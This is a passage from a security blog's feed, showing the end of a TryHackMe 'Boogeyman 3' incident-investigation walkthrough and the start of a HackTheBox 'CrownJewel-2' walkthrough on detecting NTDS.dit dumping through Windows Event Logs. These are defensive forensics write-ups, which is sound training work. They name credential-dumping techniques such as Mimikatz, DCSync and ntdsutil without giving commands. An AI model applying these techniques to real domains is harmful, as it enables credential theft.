srcset=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/5614eda2a3d896c06cb902b4992557ff_MD5_hu_df86bb193332856d.png 800w, https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/5614eda2a3d896c06cb902b4992557ff_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Shortly after, we see that the ransomware is created (&lt;strong&gt;Sysmon Event ID 11&lt;/strong&gt;), but not executed on the CEO&amp;rsquo;s workstation, &lt;code&gt;WKSTN-0051.&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;186e3120a053a8cc5c3b19dea3625356_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;12800px&#34; data-flex-grow=&#34;5333&#34; height=&#34;15&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/186e3120a053a8cc5c3b19dea3625356_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Finally, we’ll determine that the ransomware binary was executed on &lt;code&gt;WKSTN-1327&lt;/code&gt; by &lt;strong&gt;itadmin.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;486518b72b8ac9411ebf9b8cee2371a6_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;9600px&#34; data-flex-grow=&#34;4000&#34; height=&#34;20&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/486518b72b8ac9411ebf9b8cee2371a6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Whew! Now that we have fully answered all the questions and have built a solid understanding of how the latest &lt;em&gt;Boogeyman&lt;/em&gt; attack unfolded, let’s wrap up this investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;228f2bb86b1f419894d48aa5e13ead08_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1979px&#34; data-flex-grow=&#34;824&#34; height=&#34;97&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/228f2bb86b1f419894d48aa5e13ead08_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;The third time’s the charm! We’ve come to the end of our frighteningly fun investigation of &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/boogeyman3&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Boogeyman 3&lt;/strong&gt;&lt;/a&gt;, facing the &lt;em&gt;Boogeyman&lt;/em&gt; for the final time. Using our forensic skills in &lt;strong&gt;ELK&lt;/strong&gt;, we learned that the &lt;em&gt;Boogeyman&lt;/em&gt; infected CEO’s device through a &lt;strong&gt;spear phishing&lt;/strong&gt; email with a malicious attachment. Then, they performed a variety of activities to establish a foothold including leveraging &lt;strong&gt;PowerShell&lt;/strong&gt; to create persistence and command and control, abusing &lt;strong&gt;living off the land binaries&lt;/strong&gt; to elevate privileges, dumping privileged credentials with &lt;strong&gt;Mimikatz&lt;/strong&gt;, performing discovery in the environment, moving laterally, and achieving domain dominance before finally deploying &lt;strong&gt;ransomware&lt;/strong&gt;. While it was a scary incident, we successfully traced the &lt;em&gt;Boogeyman’s&lt;/em&gt; activities and now, let’s wrap this investigation — &lt;strong&gt;Quick Logistics LLC’s&lt;/strong&gt; nightmare is over!&lt;/p&gt;&#xA;&lt;p&gt;A huge thank you to &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;TryHackMe&lt;/strong&gt;&lt;/a&gt; for the excellent part III of the &lt;em&gt;Boogeyman&lt;/em&gt; series. This challenge was the perfect way to end the year and the awesome &lt;strong&gt;SOC Level 1&lt;/strong&gt; learning path! As usual for this series, I was truly impressed with the details and narrative of this room. This one felt closer to a real-world simulation exercise than others I have completed and it really pushed me to level-up my skills in &lt;strong&gt;Elastic&lt;/strong&gt;. It was really engaging to see how the &lt;em&gt;Boogeyman&lt;/em&gt; changed tactics, techniques, and procedures between the three rooms and the stakes felt real for the fictional organization! Let’s hope we never have to deal with &lt;em&gt;Boogeyman&lt;/em&gt; again.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for the support and going through this investigation with me. Remember, if you found this walkthrough helpful don’t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we’re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week’s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK: System Binary Proxy Execution: Mshta (T1218.005):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1218/005/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1218/005/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — xcopy:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/xcopy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/xcopy&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — rundll32:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rundll32&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rundll32&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK: Scheduled Task/Job: Scheduled Task (T1053.005):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1053/005/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1053/005/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — Sysmon:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK: Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1548/002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1548/002/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK: OS Credential Dumping (T1003):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1003/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1003/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK: Mimikatz (S0002):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/software/S0002/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK: Remote System Discovery (T1018):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1018/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1018/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK: Use Alternate Authentication Material: Pass the Hash (&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1550&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;T1550&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1550/002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1550/002/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK: OS Credential Dumping: DCSync (T1003.006):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1003/006/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1003/006/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>HackTheBox  — CrownJewel-2 Sherlock Walkthrough</title>
            <link>https://stumblesec.com/posts/hackthebox-crownjewel-2-sherlock-walkthrough/</link>
            <pubDate>Mon, 23 Dec 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/hackthebox-crownjewel-2-sherlock-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-2-sherlock-walkthrough/215c386a52799f34646b3d0806be728c_MD5.png&#34; alt=&#34;Featured image of post HackTheBox  — CrownJewel-2 Sherlock Walkthrough&#34; /&gt;&lt;h3 id=&#34;hacktheboxcrownjewel-2-sherlock-walkthrough&#34;&gt;HackTheBox — CrownJewel-2 Sherlock Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-a-compromised-domain-controller-using-windows-eventlogs&#34;&gt;Investigating a Compromised Domain Controller Using Windows Event Logs&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img alt=&#34;215c386a52799f34646b3d0806be728c_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;300&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-2-sherlock-walkthrough/215c386a52799f34646b3d0806be728c_MD5.png&#34; width=&#34;300&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/sherlocks/CrownJewel-2&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.hackthebox.com/sherlocks/CrownJewel-2&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Imagine this:&lt;/strong&gt; You’re on the front lines of an organization’s security team, trying to catch your breath and recover from an attack against your domain controller just yesterday. Suddenly, another alert fires from the domain controller about a new exfiltration attempt of the &lt;strong&gt;NTDS.dit&lt;/strong&gt; database which holds the domain’s secrets. Springing back to action, you must determine how the attacker got in this time by investigating the &lt;strong&gt;Windows Event Logs&lt;/strong&gt; to establish a timeline, understand how the attack unfolded, and evict the attacker…again.&lt;/p&gt;&#xA;&lt;p&gt;If this sounds exciting to you, welcome to my weekly walkthrough, you’ve stumbled on the right blog!&lt;/p&gt;&#xA;&lt;p&gt;This week, we’re tackling the &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/sherlocks/CrownJewel-2&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CrownJewel-2&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Hack The Box&lt;/strong&gt;&lt;/a&gt;, a direct follow-up to &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/sherlocks/CrownJewel-1&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CrownJewel-1&lt;/strong&gt;&lt;/a&gt;. The scenario assumes that we’re the same incident responder that investigated the first attack, so you’ll get the most out of this challenge if you complete &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/sherlocks/CrownJewel-1&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CrownJewel-1&lt;/strong&gt;&lt;/a&gt; first. I’ll leave a link to my walkthrough for part 1 below.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-1-sherlock-walkthrough/&#34; &gt;&lt;strong&gt;HackTheBox — CrownJewel-1 Sherlock Walkthrough&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/sherlocks/CrownJewel-2&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CrownJewel-2&lt;/strong&gt;&lt;/a&gt; is another &lt;strong&gt;digital forensics and incident response (DFIR)&lt;/strong&gt; challenge. This time, we’ll leverage the &lt;strong&gt;Windows Event Logs&lt;/strong&gt; to understand how the attacker exfiltrated the &lt;strong&gt;NTDS.dit&lt;/strong&gt; database. Using the &lt;strong&gt;Event Viewer&lt;/strong&gt;, we’ll establish a timeline of the attack and track what activities occurred before the exfiltration.&lt;/p&gt;&#xA;&lt;p&gt;While this challenge is geared toward beginners, it’s a fantastic lab for all skill levels to get some hands-on practice with &lt;strong&gt;Windows Event Log&lt;/strong&gt; analysis. So, let’s grab our magnifying glasses again, take a deep breath, and get ready to dive back into the investigation!&lt;/p&gt;&#xA;&lt;p&gt;And hey, if you find this walkthrough helpful — whether it levels-up your skills, gets you through a stumbling block, or serves as a handy reference — please &lt;strong&gt;give it a clap&lt;/strong&gt;!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and joining me on this investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/sherlocks/CrownJewel-2&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.hackthebox.com/sherlocks/CrownJewel-2&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;Forela’s Domain environment is pure chaos. Just got another alert from the Domain controller of NTDS.dit database being exfiltrated. Just one day prior you responded to an alert on the same domain controller where an attacker dumped NTDS.dit via vssadmin utility. However, you managed to delete the dumped files kick the attacker out of the DC, and restore a clean snapshot. Now they again managed to access DC with a domain admin account with their persistent access in the environment. This time they are abusing ntdsutil to dump the database. Help Forela in these chaotic times!!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;setup-the-analysis-environment--extract-the-challenge-file&#34;&gt;Setup the Analysis Environment &amp;amp; Extract the challenge file:&#xA;&lt;/h3&gt;&lt;p&gt;Safety first! It’s always important when working with lab/challenge files from &lt;em&gt;Hack the Box (or any educational lab/challenge/range)&lt;/em&gt; to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. For example, since this is a _Windows-_based lab, I’m using &lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;FLARE-VM&lt;/strong&gt;&lt;/a&gt; for this challenge and walkthrough.&lt;/p&gt;&#xA;&lt;p&gt;To keep this write-up focused I’m going to skip the step-by-step setup of &lt;em&gt;FLARE-VM&lt;/em&gt; but _i_f you’d like to set up your own environment, please follow the directions provided directly by &lt;em&gt;FLARE-VM&lt;/em&gt; on &lt;em&gt;GitHub.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;2efb81522f2c&#34;&gt;[&lt;strong&gt;GitHub - mandiant/flare-vm: A collection of software installations scripts for Windows systems that…&lt;/strong&gt;&#xA;_A collection of software installations scripts for Windows systems that allows you to easily setup and maintain a…_github.com](&lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm?source=post_page---&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/mandiant/flare-vm?source=post_page---&lt;/a&gt;&#xA;&amp;ndash;2efb81522f2c&amp;mdash;&#xA;&lt;/h2&gt;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;2efb81522f2c-1&#34;&gt;&amp;ndash; &amp;ldquo;&lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm?source=post_page---&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/mandiant/flare-vm?source=post_page---&lt;/a&gt;&#xA;&amp;ndash;2efb81522f2c&amp;mdash;&#xA;&lt;/h2&gt;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;2efb81522f2c-2&#34;&gt;&amp;ndash;&amp;rdquo;)[](&lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm?source=post_page---&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/mandiant/flare-vm?source=post_page---&lt;/a&gt;&#xA;&amp;ndash;2efb81522f2c&amp;mdash;&#xA;&lt;/h2&gt;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;p&gt;&amp;ndash;)&lt;/p&gt;&#xA;&lt;p&gt;Okay! Once we have our virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-when-utilizing-ntdsutilexe-to-dump-ntds-on-disk-it-simultaneously-employs-the-microsoft-shadow-copy-service-what-is-the-most-recent-timestamp-at-which-this-service-entered-the-running-state-signifying-the-possible-initiation-of-the-ntds-dumpingprocess&#34;&gt;Question 1: When utilizing ntdsutil.exe to dump NTDS on disk, it simultaneously employs the Microsoft Shadow Copy Service. What is the most recent timestamp at which this service entered the running state, signifying the possible initiation of the NTDS dumping process?&#xA;&lt;/h3&gt;&lt;p&gt;Time to kick off this investigation and see what the attackers are doing this time! After unzipping the challenge file, we’ll find three &lt;strong&gt;Windows Event Log&lt;/strong&gt; (.evtx) files that we’ll use to investigate the attacker’s activities.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;1b6fe8520e976c159678a3df35bfab07_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;559px&#34; data-flex-grow=&#34;233&#34; height=&#34;343&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-2-sherlock-walkthrough/1b6fe8520e976c159678a3df35bfab07_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Application&lt;/strong&gt;: Contains application related log events.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;System&lt;/strong&gt;: Contains events related to &lt;strong&gt;Windows&lt;/strong&gt; and its components like services, drivers, and hardware.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Security&lt;/strong&gt;: Contains security-related events, including user logins, access attempts, and account enumeration.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Each of these logs will have a role to play during our investigation, but to answer &lt;strong&gt;Question 1,&lt;/strong&gt; we’re searching for when the &lt;strong&gt;Volume Shadow Service (VSSVC.exe)&lt;/strong&gt; last entered the running state, which might correlate with suspicious &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc753343%28v=ws.11%29&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;ntdsutil.exe&lt;/strong&gt;&lt;/a&gt; database dumping activity.&lt;/p&gt;&#xA;&lt;p&gt;If you joined me for the &lt;a class=&#34;link&#34; href=&#34;https://stumblesec.medium.com/hackthebox-crownjewel-1-sherlock-walkthrough-2efb81522f2c&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CrownJewel-1&lt;/strong&gt;&lt;/a&gt; investigation, you might remember that we learned the &lt;strong&gt;SYSTEM&lt;/strong&gt; log contains the start and stop events for services, logged as &lt;strong&gt;Event ID 7036_._&lt;/strong&gt; Let’s try it out.&lt;/p&gt;&#xA;&lt;p&gt;Open the &lt;em&gt;SYSTEM&lt;/em&gt; log and filter it for the relevant Event ID we want by pressing &lt;em&gt;Filter Current Log&lt;/em&gt; then entering &lt;strong&gt;7036&lt;/strong&gt; into the Event ID field.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;4af99848b0d488139b1a5728d0e7735e_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-2-sherlock-walkthrough/4af99848b0d488139b1a5728d0e7735e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Filtering the SYSTEM Log for Event ID 7036&lt;/p&gt;&#xA;&lt;p&gt;Once we’ve filtered the events, press &lt;em&gt;Find&lt;/em&gt; and enter the keywords “&lt;em&gt;volume shadow copy&lt;/em&gt;” — to find any instances of &lt;em&gt;Volume Shadow Copy&lt;/em&gt; service events. Since the events are listed in descending order, the newest ones will be at the top of the log — so the first hit should be the one we need to find the most recent entry.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;2965389ade6dc3e93fac0706bb302319_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;516px&#34; data-flex-grow=&#34;215&#34; height=&#34;372&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-2-sherlock-walkthrough/2965389ade6dc3e93fac0706bb302319_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now, with the event selected, we can obtain the precise system time when the service was started by clicking &lt;strong&gt;Details&lt;/strong&gt; tab &amp;gt; &lt;strong&gt;XML View&lt;/strong&gt; &lt;em&gt;&amp;gt;&lt;/em&gt; &lt;strong&gt;TimeCreated SystemTime&lt;/strong&gt;&lt;em&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;832ff2c45a94ce3b4d9cd4eff599fb62_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-2-sherlock-walkthrough/832ff2c45a94ce3b4d9cd4eff599fb62_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;b97ee3cf3ad3a0ce6a162862edb81d75_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;989px&#34; data-flex-grow=&#34;412&#34; height=&#34;194&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-2-sherlock-walkthrough/b97ee3cf3ad3a0ce6a162862edb81d75_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-identify-the-full-path-of-the-dumped-ntdsfile&#34;&gt;Question 2: Identify the full path of the dumped NTDS file.&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 2&lt;/strong&gt;, let’s jump over to the &lt;strong&gt;APPLICATION&lt;/strong&gt; logs. Without any further filtering, let’s try simply searching for &lt;strong&gt;NTDS&lt;/strong&gt; and review the hits. It may take a few tries to find a meaningful event, but then we’ll stumble on the entry below:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;5df6df24400db6974d03658e47d30999_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-2-sherlock-walkthrough/5df6df24400db6974d03658e47d30999_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here we’ll observe that the &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/extensible-storage-engine/extensible-storage-engine-managed-reference&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;ESENT&lt;/a&gt; database engine created a new &lt;strong&gt;NTDS.dit&lt;/strong&gt; database which is the file for which we received the exfiltration alert. Recalling what we discovered in &lt;a class=&#34;link&#34; href=&#34;https://stumblesec.medium.com/hackthebox-crownjewel-1-sherlock-walkthrough-2efb81522f2c&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CrownJewel-1&lt;/strong&gt;&lt;/a&gt;, dumping the &lt;strong&gt;NTDS.dit&lt;/strong&gt; file is a method an attacker can use to create a copy of the “&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1003/003/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Active Directory domain database in order to steal credential information&lt;/em&gt;&lt;/a&gt;&lt;em&gt;.”&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Notice the suspicious file path of the dump and that the time stamp is one second after the &lt;strong&gt;Volume Shadow Service&lt;/strong&gt; started? These are both clues that we are on the right path.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;f22fa9a41cb55261e7d83537a8746244_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1230px&#34; data-flex-grow=&#34;512&#34; height=&#34;156&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-2-sherlock-walkthrough/f22fa9a41cb55261e7d83537a8746244_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-when-was-the-database-dump-created-on-thedisk&#34;&gt;Question 3: When was the database dump created on the disk?&#xA;&lt;/h3&gt;&lt;p&gt;Fortunately, we already noticed the event timestamp correlation in the last question. In the same event from &lt;strong&gt;Question 